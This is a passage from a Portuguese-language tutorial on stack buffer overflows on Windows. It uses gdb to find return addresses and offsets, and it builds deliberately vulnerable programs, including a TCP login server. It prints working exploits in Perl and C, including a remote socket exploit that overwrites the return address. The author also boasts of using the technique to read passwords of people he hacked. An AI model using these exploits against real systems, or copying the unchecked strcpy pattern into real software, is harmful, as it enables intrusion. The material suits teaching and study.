           +----------------+        /---> Argumentos de main();
           |  char *argv[]  |    <---+
           +----------------+      


=================================
+ Obtendo o endereco de retorno +
=================================


Nesta primeiro parte demonstrarei apenas uma das formas de obter o endereco
de retorno, no proximo paper falarei mais sobre metodos de  conseguir o RET
de alguma funcao. Primeiramente farei uma pequena aplicacao:


-- get_ret.c -- 

#include <stdio.h>
#include <stdlib.h>

void func (){

  printf ("Esta funcao nao faz nada");

}

main (){

  func ();      // <-- call 0x401290 <func>
  exit (0);     // <-- Retorno no stack frame

}

-- cut -- 


Vamos obter o endereco de retorno apos a chamada da funcao func()


C:\>gdb get_ret.exe -q
(gdb) disass main
Dump of assembler code for function main:
0x4012a4 <main>:        push   %ebp
0x4012a5 <main+1>:      mov    %esp,%ebp

(...) 

0x4012ce <main+42>:     call   0x401290 <func>
0x4012d3 <main+47>:     movl   $0x0,(%esp,1)     <-- No stack frame (0x4012d3) 
0x4012da <main+54>:     call   0x401810 <exit>
End of assembler dump.


Vamos ver o stack frame no qual este RET sera inserido:


(gdb) disass func
Dump of assembler code for function func:
0x401290 <func>:        push   %ebp
0x401291 <func+1>:      mov    %esp,%ebp
0x401293 <func+3>:      sub    $0x8,%esp
0x401296 <func+6>:      movl   $0x403000,(%esp,1)
0x40129d <func+13>:     call   0x401820 <printf>
0x4012a2 <func+18>:     leave
0x4012a3 <func+19>:     ret
End of assembler dump.


Antes deste stack frame ser destruido marcaremos um breakpoint na ultima
instrucao, ou seja, a instrucao que comeca a  destruicao do stack frame, 
que e a 'leave', que esta localizada em <func+18>. 


(gdb) break *func+18
Breakpoint 1 at 0x4012a2: file C:/get_ret.c, line 8.


Iniciaremos o programa:


(gdb) r
Starting program: C:\get_ret.exe

Breakpoint 1, func () at C:/get_ret.c:8
8       }


Pegaremos agora o endereco de ebp e o do RET:


(gdb) x/x $ebp
0x22ff58:       0x0022ff78       <--- Base do stack frame


Acima esta o endereco do FBP do stack frame. Utilizei o parametro 'x' do 'x/'  
seguido do registrador no qual desejo ver o valor em hexadecimal. 
 

(gdb) x/x $ebp+4
0x22ff5c:       0x004012d3       <--- Endereco de retorno.


Essa sintaxe diz que desejo ver em hexadecimal 4 bytes depois do SFP.

(...)
+------------+
|   Dummy    | 
+------------+
| 0x0022ff78 |   <-- FBP
+------------+
| 0x004012d3 |   <-- RET
+------------+


Observe:

0x4012ce <main+42>:     call   0x401290 <func>
0x4012d3 <main+47>:     movl   $0x0,(%esp,1) 

  ^
  |
  +----- > Veja que e este endereco que esta na area RET do stack frame de func.


Lembrando que voce tambem fara bom proveito deste paper se utilizar os 
exemplos aqui descritos, nos *nixes/linuxes ;)



----- Capitulo 0x0A


[=] + =========================================== + [=]
      ---=[  Como acontece o stack overflow ]=--- 
[=] + =========================================== + [=]


Acredito que isso seja de conhecimento de quase  todos  os leitores deste texto, que 
apesar de saberem como acontece, nao sabem como explorar. O Overflow acontece quando 
inserimos mais dado que um buffer pode suportar, ou seja, vamos supor que  um buffer 
suporte 16 bytes, se inserirmos 17 bytes esse ultimo byte vai "sobrescrever" o stack 
frame e vai alcancar o dummy. Se por um acaso nos inserirmos 16 + 8 + 1 esse  ultimo 
byte inserido por nos alcancara o FBP (ebp) que por sinal e composto por 4 bytes, ou
seja, esses dados "ultrapassam" o espaco reservado para o  buffer no  'stack frame', 
alcancam o 'dummy' que nesse caso e de 8 bytes e chegam no FBP. Acredito  que esteja 
ficando  mais claro para voce a cada minuto, amigo ;) Entao, pense comigo:  Se o en-
dereco de retorno armazena  o endero  da proxima  instrucao  depois da chamada a uma
funcao, e ja  que podemos sobrescrever o stack frame, entao podemos  inferir que po-
demos  inserir dados ate alcancarmos o endereco de retorno, e os dados que nos inse-
rimos que serao executados, certo? Exato. Veja esse exemplo:


-- I didn't see.c -- 

main (){
     
     char buffer2[21]="I didn't see nothing", buffer1[8];
     strcpy (buffer1, "David_Destroyer");
     puts (buffer2);
}

-- cut -- 


Os dados sao empilhados da direita para esquerda nesse caso. Entao o buffer 1
sera empilhado, depois o buffer2. Repare que o buffer1 e capaz de  suportar 8
caracteres, mas a um problema neste  programa, perceba que estou copiando uma 
string de 15 bytes (David_Destroyer) para um buffer que suporta 8. O  que vai 
acontecer e o overflow, ou seja, os dados que nos inserimos sobre  o primeiro 
buffer vao sobrescrever o segundo.


123456789ABCDEF   <--------[] 15 bytes
David_Destroyer
        |
        +-----------> A partir daqui os dados estarao no buffer2


Veja que logo em seguida a copia dos dados, e imprimido o valor do buffer2.


C:\Documents and Settings\David>"I didn't see.exe"
stroyer


Repare que os dados impressos nao sao os dados  que inicializei no 'buffer2' 
(I didn't see nothing), mas sim o  resto dos  dados que nao foram suportados
pelo buffer1. Se inserirmos apenas 7 bytes no buffer1, ou menos, o  conteudo 
do segundo buffer sera impresso normalmente.  

-- nothing.c -- 

// nothing\0  <-- 7 bytes + NULL byte

main (){
     
     char buffer2[21]="I didn't see nothing", buffer1[8];
     strcpy (buffer1, "nothing");                     
     fprintf (stdout, "%s", buffer2);
}

-- cut -- 


C:\Documents and Settings\David>"I didn't see.exe"
I didn't see nothing


E se o buffer destino ao invez de 8, que e multiplo de 4, fosse 7, nao conse-
guiriamos fazer o programa mostrar os dados nao suportados porque os dados na 
pilha crescem de 4 em 4 bytes ;) Veja um melhor exemplo  dessa informacao que 
nos sera muito util em meu proximo paper ("futuro proximo"):


-- winki.c -- 

main (){
     
     char buffer2[21]="I didn't see nothing", buffer1[7];
     strcpy (buffer1, "David_Destroyer");
     puts (buffer2);
}

-- cut -- 


Veja que o primeiro buffer e composto por 7 bytes, mas os dados que nos esta-
mos inserindo e multiplo de quatro bytes.

C:\Documents and Settings\David>wink.exe
I didn't see nothing

Esse "detalhe" ficara para meu proximo texto,  no qual  demonstrarei mais exemplos
de exploracao pela heap do que o primeiro texto que escrevi[2]. E muito importante 
que voces saibam que a criacao de um dummy e de um alinhamento (criados pelos gcc)
no stack frame vai depender do tamanho do buffer  das variaveis  locais utilizadas  
no codigo do programa. Bem, primeiramente veremos exemplos  de overflow  para logo 
em  seguida eu poder entrar em detalhes com relacao a isso. 


-- programa1.c -- 

/*
* 
*   There's a bug in this code       
*
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int overflow (char *string){

    char buffer[4];
    strcpy (buffer, string);
    puts (buffer);
    
}

int main (int argc, char *argv[]){

  if (argc != 2) exit (-1);

  overflow (argv[1]);

  return (0);
}


-- cut -- 


O que esse programa faz (como voce pode ver) e copiar o o primeiro parametro de li-
nha de comando e fazer uma chamada a funcao overflow, no qual recebera esse parame-
tro e armazenara o mesmo na variavel de lista de parametro "string" que por sua vez 
tera seu conteudo copiado para a variavel buffer, agora veja onde ocorrer a falha:


    char buffer[4];
    strcpy (buffer, string);


Repare que o buffer pode suportar 4 bytes, ou seja, e reservado para essa variavel
'4' bytes no stack frame da funcao overflow (no qual os  parametros passados a ela
serao alocados), abaixo vera que e copiado o conteudo da variavel string  (no qual 
armazena os parametros digitados por nos, na linha de comando) para esta variavel, 
mas a funcao strcpy() nao faz checagem alguma dos dados que serao  alocados na me-
moria (stack frame). O gcc reserva espaco para 4 bytes na  area 'buffer' do  stack 
frame, ou seja, se inserirmos mais de 4 bytes esses  bytes  adicionais vao sobres-
crevendo os ponteiros no stack frame e se por  acaso  chegarem ao  retorno, o sis-
tema vai ter que retornar o que esta na area RET ADDR no stack frame, ou seja, ele
vai jogar para eip o endereco armazenado  na area RETURN ADDR, e assim  executando 
aquela instrucao (Como eu ja falei). Vejam sobre como injetar um endereco executa-
vel/valido na area 'RETURN ADDRESS' nos proximos capitulos. "Primeiramente"  vamos 
ver como identificar o overflow e fazer alguns mapas da  memoria para cada  funcao 
que aqui sera debugada.


Execucao do programa1..:


C:\Documents and Settings\David>programa1.exe AA
AA

C:\Documents and Settings\David>programa1.exe AAA
AAA

C:\Documents and Settings\David>programa1.exe AAAAAAAAAAAAA
AAAAAAAAAAAAA

C:\Documents and Settings\David>


E atraves desta mensagem que podemos saber se o programa e vulneravel 
a overflow no windows (Segmentation fault):

    ------------------------------------------------------------
   |O programa1.exe encontrou um problema e precisa ser fechado.|
    ------------------------------------------------------------

Essa mensagem pode representar o overflow, como  tambem nao  pode. Se voce esta 
inserindo muito dados em buffers de alguns programas e voce cair nesta mensagem, 
a uma grande chance de voce ter descoberto  um bug/falha de stack overflow nesse  
programa. Repare que primeiramente insiro duas letras 'A' na execucao do progra-
ma, ate ai tudo bem, o programa terminou normalmente, depois inseri  3 A's, tam-
bem nao houve problema  algum, pois o buffer suporta 4 bytes (3 + '\0'). Observe 
que na ultima execucao inseri:

AAAAAAAAAAAAA 
0123456789ABC
   |
   +---> O buffer suporta dados ate aqui.

13 bytes no buffer, e nos foi apresentada a  mensagem anterior, ou seja, acaba-
mos de descobrir um bug! Veremos  agora  como explora-lo. Vamos ver os bytes do 
stack frame da funcao overflow e desenha-lo.


C:\Documents and Settings\David>gdb programa1.exe -q
(gdb) disass main
Dump of assembler code for function main:
0x4012b5 <main>:        push   %ebp
0x4012b6 <main+1>:      mov    %esp,%ebp
0x4012b8 <main+3>:      sub    $0x8,%esp
0x4012bb <main+6>:      and    $0xfffffff0,%esp
0x4012be <main+9>:      mov    $0x0,%eax
0x4012c3 <main+14>:     add    $0xf,%eax
0x4012c6 <main+17>:     add    $0xf,%eax
0x4012c9 <main+20>:     shr    $0x4,%eax
0x4012cc <main+23>:     shl    $0x4,%eax
0x4012cf <main+26>:     mov    %eax,0xfffffffc(%ebp)
0x4012d2 <main+29>:     mov    0xfffffffc(%ebp),%eax
0x4012d5 <main+32>:     call   0x401750 <_alloca>
0x4012da <main+37>:     call   0x4013f0 <__main>
0x4012df <main+42>:     cmpl   $0x2,0x8(%ebp)
0x4012e3 <main+46>:     je     0x4012f1 <main+60>
0x4012e5 <main+48>:     movl   $0xffffffff,(%esp,1)
0x4012ec <main+55>:     call   0x401840 <exit>
0x4012f1 <main+60>:     mov    0xc(%ebp),%eax
0x4012f4 <main+63>:     add    $0x4,%eax
0x4012f7 <main+66>:     mov    (%eax),%eax
0x4012f9 <main+68>:     mov    %eax,(%esp,1)
0x4012fc <main+71>:     call   0x401290 <overflow>          <----- Achamos a chamada
---Type <return> to continue, or q <return> to quit---
0x401301 <main+76>:     mov    $0x0,%eax
0x401306 <main+81>:     leave
0x401307 <main+82>:     ret
End of assembler dump.
(gdb) 


E nessa instrucao que a funcao overflow e chamada:

0x4012fc <main+71>:     call   0x401290 <overflow> 


Disassemblaremos a mesma:


(gdb) disass 0x401290
Dump of assembler code for function overflow:
0x401290 <overflow>:    push   %ebp                    
0x401291 <overflow+1>:  mov    %esp,%ebp               
0x401293 <overflow+3>:  sub    $0x18,%esp              
0x401296 <overflow+6>:  mov    0x8(%ebp),%eax          
0x401299 <overflow+9>:  mov    %eax,0x4(%esp,1)        
0x40129d <overflow+13>: lea    0xfffffffc(%ebp),%eax   
0x4012a0 <overflow+16>: mov    %eax,(%esp,1)            
0x4012a3 <overflow+19>: call   0x401860 <strcpy>       
0x4012a8 <overflow+24>: lea    0xfffffffc(%ebp),%eax   
0x4012ab <overflow+27>: mov    %eax,(%esp,1)           
0x4012ae <overflow+30>: call   0x401850 <puts>         
0x4012b3 <overflow+35>: leave
0x4012b4 <overflow+36>: ret
End of assembler dump.


Agora vamos usar uma tecnica chamada de "fuzzing" para saber  quantos bytes
precisaremos para alcancar o  endereco de retorno. Essa  tecnica  foi muito  
evoluida, mas aqui nao vamos entrar em  detalhes, falarei apenas do basico,
que consiste em injetar em buffers, grandes quantidades  de bytes e esperar  
alguma mensagem  de erro. Macete  bem "espartano" eim? Vamos entao "fuzzar" 
este programa dentro do gdb:


(gdb) r AAA
Starting program: C:\Documents and Settings\David/programa1.exe AAA

Program exited normally.


Nem um problema, vejam que o proprio gdb nos mostra que o programa saiu 
normalmente. Agora vamos transbordar  (overflow) nosso buffer e atraves 
dele encostaremos no endereco de retorno do stack frame "Overflow".


(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA         
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: C:\Documents and Settings\David/programa1.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()


OK, por incrivel que pareca essa mensagem de erro e boa para  nos };P Segmentation fault 
e a mensagem que nos e exibida nos linuxes quando o stack frame retorna para uma area de
memoria invalida; Nao se esqueca que estamos em uma ferramenta nativa do linux, por isso 
tambem temos essa mensagem. Vejam que interessante, A em ASCII equivale ao 41 em hexade-
cimal, veja


main (){

 printf ("%x\n", 'A');
 system ("pause");

}


Resultado:

41         <--- 0x41

Pressione qualquer tecla para continuar. . .


(gdb) i r
eax            0x22ff60 2293600
ecx            0x3d3d60 4013408
edx            0xababab00       -1414812928
ebx            0x4000   16384
esp            0x22ff80 0x22ff80
ebp            0x41414141       0x41414141             <-- ebp sobrescrito
esi            0xdca4f0 14460144
edi            0xd7ea70 14150256
eip            0x41414141       0x41414141             <-- Proxima instrucao.
eflags         0x10246  66118
cs             0x1b     27

(...)


Lembrando que o processador "sempre" trabalha no nivel hexadecimal.


O nosso objetivo agora e saber em quantos bytes podemos alcancar o  endereco 
de retorno. Para isso utilizaremos  uma tecnica chamada Binary Tree Analysis 
ou BTA, que consiste na insercao de um buffer com  dados variados,  exemplo, 
inserimos x numeros de A's, depois x numero de B's e x numeros de C's,  se o 
debuger utilizado nos  retornar  que a base  do stack frame foi  sobrescrita 
por 0x42 que representa o B, entao "obviamente" que o 'ebp'  esta entre os x 
B's inseridos, e assim por diante. 


(gdb) r AAAADDDDRRRR
Starting program: C:\Documents and Settings\David/programa1.exe AAAADDDDRRRR

Program received signal SIGSEGV, Segmentation fault.
0x52525252 in ?? ()


Buffer        = A 
Base pointer  = D
Return addres = R

Alcancamos o endereco de retorno!! Como eu sei? Veja:

 0x52525252 in ?? ()  <-- Observe que 52 em hexadecimal corresponde a R

O que aconteceu foi isso:


+--------------+
|  buffer[1]   |    = A                  ||
+--------------+                         ||
+--------------+                         ||
|  buffer[2]   |    = A                  || 
+--------------+                         ||  
+--------------+                         ||
|  buffer[3]   |    = A                  ||
+--------------+                         ||
+--------------+                         ||
|  buffer[4]   |    = A                  || 
+--------------+                         ||
+--------------+                         || 
| FBP (4 bytes)|    = DDDD               ||
+--------------+                         ||
| RETURN ADDR  |    = RRRR (0x52)        VV
+--------------+


Veja que o endereco de retorno vai retornar o 0x52, que nao e um endereco
valido, alocado na memoria, por isso o signal SIGSEGV e  retornado. Vamos 
causar o overflow no stack frame de main:


-- main_overflow.c -- 

main (int argc, char *argv[]){
 
 if (argc != 2) exit (0);
 
 char frame[16];
 strcpy (frame, argv[1]);     // <- Copia o que nos digitarmos para a \
                                    variavel frame (sem controle).
     
}

-- cut -- 



C:\Documents and Settings\David\Meus documentos>gdb main_overflow.exe -q
(gdb) r AAAAAAAAAAAAAAAADDDDDDDDBBBBRRR
Starting program: C:\Documents and Settings\David\Meus documentos/main_overflow.exe AAAAAAAAAAAAAAAADDDDDDDDBBBBRRR

Program received signal SIGSEGV, Segmentation fault.
0x00525252 in ?? ()


Repare acima que esta faltando 1 unico byte para completar os 4 que compoem o endereco
de retorno. Entao apenas precisariamos inserir mais um 'R'


(gdb) r AAAAAAAAAAAAAAAADDDDDDDDBBBBRRRR
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: C:\Documents and Settings\David\Meus documentos/main_overflow.exe AAAAAAAAAAAAAAAADDDDDDDDBBBBRRRR

Program received signal SIGSEGV, Segmentation fault.
0x52525252 in ?? ()

Agora o RET esta totalmente sobrescrito. Entao e necessario os seguintes bytes
para alcancarmos o endereco de retorno:


Buffer    =    AAAAAAAAAAAAAAAA (16 bytes)
Dummy     =    DDDDDDDD (8 bytes)
FBP       =    FFFF (4 bytes)
RET       =    RRRR (4 bytes)


+--------------+
|  buffer[0]   |    = A                  ||
+--------------+                         ||
+--------------+                         ||
|  buffer...   |    = A                  || 
+--------------+                         ||  
+--------------+                         ||
|  buffer[16]  |    = A                  ||
+--------------+                         ||
+--------------+                         ||
|   Dummy (8)  |    = DDDDDDDD           || 
+--------------+                         ||
+--------------+                         || 
| FBP (4 bytes)|    = FFFF               ||
+--------------+                         ||
| RETURN ADDR  |    = RRRR (0x52)        VV
+--------------+
     
       ^
       |
       |
       +---> O stack frame retornara para RRRR (SIGSEGV)




----- Capitulo 0x0B


[=] + =========================================== + [=]
       ---=[  Seu primeiro exploit (local) ]=--- 
[=] + =========================================== + [=]


Bem, para esse primeiro exemplo de "exploracao" de stack overflow, nao mostrarei a 
utilizacao de shellcode, por  hora voce apenas sabera como controlar o endereco de 
retorno para o mesmo retornar a algum lugar na memoria. Bem, a tecnica de explora-
cao local  pode ter  varias  utilidades, eu costumava  esconder uma funcao no qual 
me mostrava minhas  senhas e das  vitimas que  hackiava, em alguns programas, eram 
centenas de senhas e ainda nao havia memorizado todas, quando queria visualiza-las 
explorava localmente a aplicacao cobaia e fazia o RETURN  retornar a  minha funcao 
oculta, e assim fazendo com que o programa  apresentasse-me as senhas. 


Exemplo:


-- show_passwords.c -- 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void function_vuln ();

void show_pass (){

   char *password[] = {

   "Email: test@testing.com \n",
   "Pass : this_is_a_test"
};

   int i=0;

   while (i != 2){
   fputs (password[i], stdout);
   ++i;}  
  
  exit (0);
}


int main (int argc, char *argv[]){

  // It doesn't drink much water ... :)

  puts ("Do you can give me some water? yes/no");

  if (argc != 2) exit (0);

  function_vuln (argv[1]); 

 return 0;
}

void function_vuln (char *string) {

 
  char buffer[16];
  strcpy (buffer, string);             // <- A falha esta aqui.

  if (!strncmp (buffer, "yes", strlen ("yes")) ){
  system ("cls");
  fprintf (stdout, "%s", "Thank'x man\n");   
}

  else 
  puts ("\n\nWell, well, well -> FuCk\n");


}

-- cut -- 


Passo 1..:


C:\Documents and Settings\David>show_passwords.exe
Do you can give me some water? yes/no

C:\Documents and Settings\David>show_passwords.exe yes


Resultado..:

Thank'x man

C:\Documents and Settings\David\Desktop>


Este programa pergunta se o usuario quer dar agua a ele (lol), se o usuario 
digitar sim, ele diz "obrigado", caso contrario o usuario recebe uma mensa-
gem de erro. Veja que em nenhum  momento e feito qualquer  chamada a funcao
show_pass (). Vejamos onde esta a falha:

strcpy (buffer, argv[1]);                

Como ja falei, strcpy() nao faz checagem alguma dos dados que serao copiados 
para o buffer de destino. E atraves desta falha que vamos explorar esse pro-
grama e fazer o endereco de retorno retornar   para o  local na  memoria que 
queremos. Antes de explorarmos a aplicacao acima, escreverei outra aplicacao 
bugada para  mostrar  a exploracao  de  programas  que  recebem o  parametro 
argument count e argument values.


-- exploit-me_v1.0.c -- 


void show_pass (){

        char *password[] = {
        "Email: test@testing.com \n",
        "Pass : this_is_a_test"
};

}

main (int argc, char **argv){

  char buffer[16];             // <-- Portal da felicidade
  strcpy (buffer, argv[1]);    // <-- Nosso bombom

}

-- cut -- 


C:\>gdb exploit-me_v1.0.exe -q
(gdb) disass show_pass
Dump of assembler code for function show_pass:
0x401290 <show_pass>:   push   %ebp
0x401291 <show_pass+1>: mov    %esp,%ebp
0x401293 <show_pass+3>: sub    $0x8,%esp
0x401296 <show_pass+6>: movl   $0x403000,0xfffffff8(%ebp)
0x40129d <show_pass+13>:        movl   $0x40301a,0xfffffffc(%ebp)
0x4012a4 <show_pass+20>:        leave
0x4012a5 <show_pass+21>:        ret
End of assembler dump.
(gdb) q

C:\>


0x401290 <--- Retornaremos este endereco. Agora vamos fazer o 
exploit em perl apenas para uma melhor aprendizagem.


-- first_exploit.pl -- 

####################################################
### O primeiro exploit voces nunca vao esquecer ;) #
####################################################

# Caminho do .executavel bugado

my $PATH ="c:\\exploit-me_v1.0.exe ";  

# Dados para sobrescrever o stack frame da funcao main

my $Buffer = "A" x 16;    # Buffer
my $Dummy  = "D" x  8;    # Dummy
my $FBP    = "B" x  4;    # Frame Base Pointer

#Endereco de retorno (De tras para frente - LIFO)
#Endereco de show_pass ();

my $RET  = "\x90\x12\x40\x00";        

#Anexamos a variavel '$exploit' as outras variaveis

my $exploit =$Buffer.$Dummy.$FBP.$RET;                                                
             #AAA... DDD... BBB... "\x90\x12\x40\x00";            


print ("\nSending exploit, please wait...\n\n");

print $exploit;

system ($PATH,  $exploit);   # <-- Chama o programa e usa o argumento 
                             #  $exploit <-- Onde estao os dados.
-- cut -- 


Sei que voce (Brasileiro =) ficara empolgadissimo com isso:



C:\>first_exploit.pl

Sending exploit, please wait...

AAAAAAAAAAAAAAAADDDDDDDDBBBBÉ?@
Email: test@testing.com
Pass : this_is_a_test
C:\>


owned! huhuhu (sndMas rlz ;). OK. The program has been exploited. We 
have total control of the return address.


================================
Exploitando o show password v1.0
================================


Primeiro passo...: Descobrindo o endereco que queremos retornar.


C:\Documents and Settings\David\Desktop>gdb show_passwords.exe -q
(gdb) disass show_pass
Dump of assembler code for function show_pass:
0x401290 <show_pass>:   push   %ebp
0x401291 <show_pass+1>: mov    %esp,%ebp

(...)

O resto das instrucoes nao nos importam, o que queremos e o endereco inicial 
desta funcao. Que eh: 0x'401290'. Como vimos anteriormente para a exploracao 
de buffers de 16 bytes precisariamos de '16' bytes para lotar a area que foi 
reservada para esse buffer no stack frame, os 8 bytes de  dummy mais os 4 do 
FBP (ebp). Entao podemos inferir que devemos inserir o endereco  0x401290 na 
area RET do stack frame. Vamos fazer logo esse exploit em C:



-- exploit_for_SPv1.c -- 

/*
*
*   Exploit for to exploit a flaw in the
*           Show Passwords v0.1
*
*   Bug discovered by 6_Bl4ck9_f0x6 :)
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define RET "\x90\x12\x40\x00"

main (){

 printf ("Sending exploit, please wait...\r\n\r\n");

 // A funcao WinExec executa um programa e passa parametros ao mesmo.

 WinExec ("\\show_passwords.exe yesAAAAAAAAAAAAADDDDDDDDBBBB\x90\x12\x40\x00", 0);
 exit (0);
 
}

-- cut here -- 


C:\>exploit_for_SPv1.exe

Resultado..:


Thank'x man
Email: test@testing.com
Pass : this_is_a_test
C:\>


Simples, nao? Existe a classe dos que ensinam e a classe dos que gostam
de aparecer (White Corja Poser Brasileira). 



----- Capitulo 0x0C


[=] + =========================================== + [=]
           ---=[ Exploracao remota ]=--- 
[=] + =========================================== + [=]


Escrevi um pequeno servidor vulneravel a stack overflow, obviamente que
isso foi intencional ehehhe...:)


-- fox_server.c -- 

/*
*
*   Aprendam uma coisa de uma vez por todas: 
*         A rede globo eh a maior ;)           
* 
*          <- Tava devendo essa -> 
*
*/ 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>

#define BACKLOG 5
#define PORT 666

WSADATA data;
struct sockaddr_in local_bind, server;

int SoCk, SoCkII;
int login_ ();
char username[400];

int secret_function (){
 
     char *message="\n\n Hi 6_Bl4ck9_f0x6 \n\n";
     fprintf (stdout, message, strlen (message));
}


int main (){    

    memset (username, 0x00, 0x08);
    
    WSAStartup (MAKEWORD (2,2),&data);
    
    SoCk = socket (PF_INET, SOCK_STREAM, 0);
    
    local_bind.sin_family=AF_INET;
    local_bind.sin_port=htons (PORT);
    local_bind.sin_addr.s_addr = htonl (INADDR_ANY);
    memset (&local_bind.sin_zero, 0x00, 0x08);  
    
    bind (SoCk, (struct sockaddr *)&local_bind, 0x10);
    
    unsigned int len=sizeof (SOCKADDR_IN);
    
    listen (SoCk, BACKLOG);
    fprintf (stdout, "Listening in the %d port...", \
ntohs (local_bind.sin_port));

    SoCkII = accept (SoCk, (struct sockaddr *)&server, &len);
    closesocket (SoCk);
    
    u_char *msgs="   \n\n  --=[ Welcome to the Black Machine ]=--\n"; 
    u_char *login="\nLogin: \n";
      
    send (SoCkII, msgs, strlen (msgs), 0x00); 
    send (SoCkII, login, strlen (login), 0x00); 
    
    recv (SoCkII, username, 400, 0x00);
    
    login_ ();
}

login_ (){
       
    printf ("%d", strlen (username));
    char buffer[200];
    strcpy (buffer, username);
    
    if (!strncmp (buffer, "6_Bl4ck9_f0x6", 13)){
    send (SoCkII, "\n\nBem vindo fox\n", strlen ("\n\nBem vindo fox\n"), 0x00);
    return 0;}

 else{ 
    send (SoCkII, "\nLogin invalido...", strlen ("\nLogin invalido..."), 0x00);
    Sleep (3000);
    send (SoCkII, "\nEstou te rastreando... Buu\n\n", \
strlen ("\nEstou te rastreando... Buu"), 0x00);
     WSACleanup();
     closesocket (SoCk);
}

}     

-- cut -- 


Nao me preocupei muito com organizacao, portanto nao me mandem emails falando
que o server nao ta bonitinho rsrs. Ah! Os testes abaixo  foram  feitos com o 
seguintes buffers:


char username[400];  &  char buffer[200];


C:\Documents and Settings\David\Desktop>fox_server.exe
Listening in the 666 port...


Utilizarei o netcat como cliente


C:\Documents and Settings\David>nc 127.0.0.1 666


  --=[ Welcome to the Black Machine ]=--

Login:


Ele espera eu digitar um login. O login que nao precisa de senha e meu 
nick: 6_Bl4ck9_f0x6 . Se voce digitar outro acontece isso:


 -- cut -- 

C:\Documents and Settings\David>nc 127.0.0.1 666


  --=[ Welcome to the Black Machine ]=--

Login:
Obtruder

Login invalido...
Estou te rastreando... Buu

-- cut -- 


Foi so um charminho, relaxa }=) Entao, o overflow ocorre na autenticacao
do usuario. Vejam so:


    char buffer[60];
    strcpy (buffer, username); 


Se o nome de usuario conter mais de 60 bytes ocorre o overflow no stack frame
da funcao login_() . Execucao correta do server:


-- cut -- 

  --=[ Welcome to the Black Machine ]=--

Login:
6_Bl4ck9_f0x6


Bem vindo fox

-- cut -- 


Vamos rodar o servidor dentro do debug.


C:\Documents and Settings\David\Desktop>gdb fox_server.exe
GNU gdb 5.2.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-mingw32"...
(gdb) r
Starting program: C:\Documents and Settings\David\Desktop/fox_server.exe

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) q
The program is running.  Exit anyway? (y or n) y

C:\Documents and Settings\David\Desktop>


Veja melhor:

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()


Veja porque isso aconteceu:


  --=[ Welcome to the Black Machine ]=--

Login:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Login invalido...
Estou te rastreando... Buu


Vamos achar o endereco de retorno usando Binary Tree Analysis



  --=[ Welcome to the Black Machine ]=--

Login:
AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCDDDDDDDDDDDDDD

Login invalido...
Estou te rastreando... Buu


Veja abaixo que o RET esta entre os C's digitados:


Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) 


Vamos inserir entre os 4 C's, alguns A's 



  --=[ Welcome to the Black Machine ]=--

Login:
AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCCAAAADDDDDDRRRR

Login invalido...
Estou te rastreando... Buu
C:\Documents and Settings\David>


Starting program: C:\Documents and Settings\David\Desktop/fox_server.exe

Program received signal SIGSEGV, Segmentation fault.
0x41414143 in ?? ()


Yeah! Yeah! Yeah! Veja acima que o RET comeca a ser sobrescrito deste ponto:

AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCCAAA    [ ADDDDDDRRRR ]
                                                       | 
                                                       +-- > Here!

Entao ja sabemos quantos bytes serao necessarios para alcancarmos o endereco
de retorno.


Login:
AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCRRRRADDDDDDRRRR
                                                    |__|
                                                      |
                                                      +-- > RETURN ADDRESS


-- fox_server_exploit.c -- 

/*
*
*  Simples exploit para fazer o programa vulneravel 
*  retornar a um endereco de memoria. 
*     
*         Coded by 6_Bl4ck9_f0x6
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

#define NOP 0x90

WSADATA data;
SOCKADDR_IN server;
int len=sizeof (server);

main (){

  WSAStartup (MAKEWORD (2,2),&data);
  
  int SoCk = socket (AF_INET, SOCK_STREAM, IPPROTO_IP);

  server.sin_family = AF_INET;
  server.sin_port = htons (666);
  server.sin_addr.s_addr = inet_addr ("192.168.1.1");
  memset (&server.sin_zero, 0x00, 0x08);

  u_char payload[224], ret[]="\x90\x12\x40";
  
  if ( (connect (SoCk, (struct sockaddr *)&server, sizeof (SOCKADDR_IN))) == 
SOCKET_ERROR){
  fprintf (stdout, "\n[Porta fechada]\n");
  return (0);}
  
  memset (payload, NOP, sizeof (payload)); 
  memcpy (payload +220, ret, 0x04);
  
  printf ("Sending exploit...\n");
  
  send (SoCk, payload, 224, 0);

  closesocket (SoCk);
  system ("pause");
 
}

-- cut -- 

fiz o BTA e descobri que para alcancar o endereco de retorno preciso
de 224 bytes, ou seja, 220 para enchermos o buffer vulneravel na app
bugada, mais o endereco de retorno. 

ret[]="\x90\x12\x40";

Acima e o endereco da funcao que esta oculta no programa vulneravel.

  1 - memset (payload, NOP, sizeof (payload)); 
  2 - memcpy (payload +220, ret, 0x04);

1 -- > Encho a variavel payload de NOP's.
2 -- > Logo depois copio para o final dela 
       o endereco de retorno. 

E envio 224 bytes atraves do socket.

Primeiro o exploit estabelece uma conexao na maquina na vitima:

-- cut -- 

